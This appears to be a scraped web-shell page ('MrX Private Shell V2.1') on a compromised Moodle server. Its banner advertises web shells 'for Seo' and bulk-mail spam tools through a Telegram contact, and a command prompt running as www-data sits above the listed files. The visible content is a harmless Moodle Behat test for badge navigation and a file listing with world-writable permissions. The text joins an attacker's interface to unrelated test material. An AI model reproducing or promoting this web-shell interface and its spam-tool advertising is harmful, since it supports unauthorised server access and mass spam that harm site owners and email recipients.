__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@core @core_badges @_file_upload @javascript
Feature: Badges not shown when there are no existing badges.

  Scenario: Check navigation at site level with no badges
    Given I log in as "admin"
    When I navigate to "Badges > Manage badges" in site administration
    Then I should see "There are no matching badges available for users to earn."

  Scenario: Check navigation at course level with no badges
    Given the following "users" exist:
      | username | firstname | lastname | email |
      | teacher  | Teacher | 1 | teacher@example.com |
    And the following "courses" exist:
      | fullname | shortname | format | enablecompletion |
      | Course 1 | C1        | topics | 1                |
    And the following "course enrolments" exist:
      | user     | course | role           |
      | teacher | C1     | editingteacher |
    And I log in as "teacher"
    And I am on "Course 1" course homepage
    When I navigate to "Badges" in current page administration
    Then I click on "Add a new badge" "button"
    And I set the following fields to these values:
      | Name | Testing course badge |
      | Version | 1.1 |
      | Language | Basque |
      | Description | Testing course badge description |
      | Image author | http://author.example.com |
      | Image caption | Test caption image |
    And I upload "badges/tests/behat/badge.png" file to "Image" filemanager
    And I click on "Create badge" "button"
    And I click on "Back" "button"
    And I should see "Testing course badge"
    And I press "Edit" action in the "Testing course badge" report row
    And I click on "Add criteria" "button"
    And I set the field "type" to "Manual issue by role"
    And I expand all fieldsets
    And I set the field "Teacher" to "1"
    And I click on "Save" "button"
    And I click on "Back" "button"
    And I should see "Testing course badge"
    And I press "Enable access" action in the "Testing course badge" report row
    And I click on "Enable" "button" in the "Confirm" "dialogue"
    And I should see "Testing course badge"

  Scenario: Check navigation at course level with no badges as a student
    # Create a badge, but leave it not enabled for now.
    Given the following "users" exist:
      | username | firstname | lastname | email                |
      | student1 | Student   | 1        | student1@example.com |
    And the following "courses" exist:
      | fullname | shortname | format | enablecompletion |
      | Course 1 | C1        | topics | 1                |
    And the following "course enrolments" exist:
      | user     | course | role           |
      | student1 | C1     | student        |
    And I am on the "C1" "Course" page logged in as "admin"
    And I navigate to "Badges > Add a new badge" in current page administration
    And I set the following fields to these values:
      | Name | Testing course badge |
      | Version | 1.0 |
      | Language | Catalan |
      | Description | Testing course badge description |
    And I upload "badges/tests/behat/badge.png" file to "Image" filemanager
    And I press "Create badge"
    And I set the field "type" to "Manual issue by role"
    And I expand all fieldsets
    And I set the field "Teacher" to "1"
    And I press "Save"
    And I log out
    When I am on the "C1" "Course" page logged in as "student1"
    Then "Badges" "link" should not exist in current page administration
    And I log out
    # Enable the badge.
    And I am on the "C1" "Course" page logged in as "admin"
    And I navigate to "Badges" in current page administration
    And I press "Enable access" action in the "Testing course badge" report row
    And I click on "Enable" "button" in the "Confirm" "dialogue"
    And I log out
    # Now student should see the Badges link.
    And I am on the "C1" "Course" page logged in as "student1"
    And I follow "Badges"
    And "Add a new badge" "button" should not exist
    And I should not see "There are no matching badges available for users to earn."
    And the following should exist in the "reportbuilder-table" table:
      | Name                  | Criteria            |
      | Testing course badge  | Awarded by: Teacher |

Filemanager

Name Type Size Permission Actions
add_badge.feature File 10.39 KB 0777
award_badge.feature File 17.71 KB 0777
award_badge_groups.feature File 10.15 KB 0777
backpack.feature File 9.76 KB 0777
badge.png File 2.07 KB 0777
badge_navigation.feature File 5.86 KB 0777
criteria_activity.feature File 6.3 KB 0777
criteria_cohort.feature File 19.48 KB 0777
criteria_competency.feature File 9.17 KB 0777
criteria_profile.feature File 1.46 KB 0777
delete_awarded_badge.feature File 2.4 KB 0777
manage_badges.feature File 7.88 KB 0777
nobadge_navigation.feature File 4.1 KB 0777
role_visibility.feature File 1.91 KB 0777
view_badge.feature File 6.88 KB 0777
Filemanager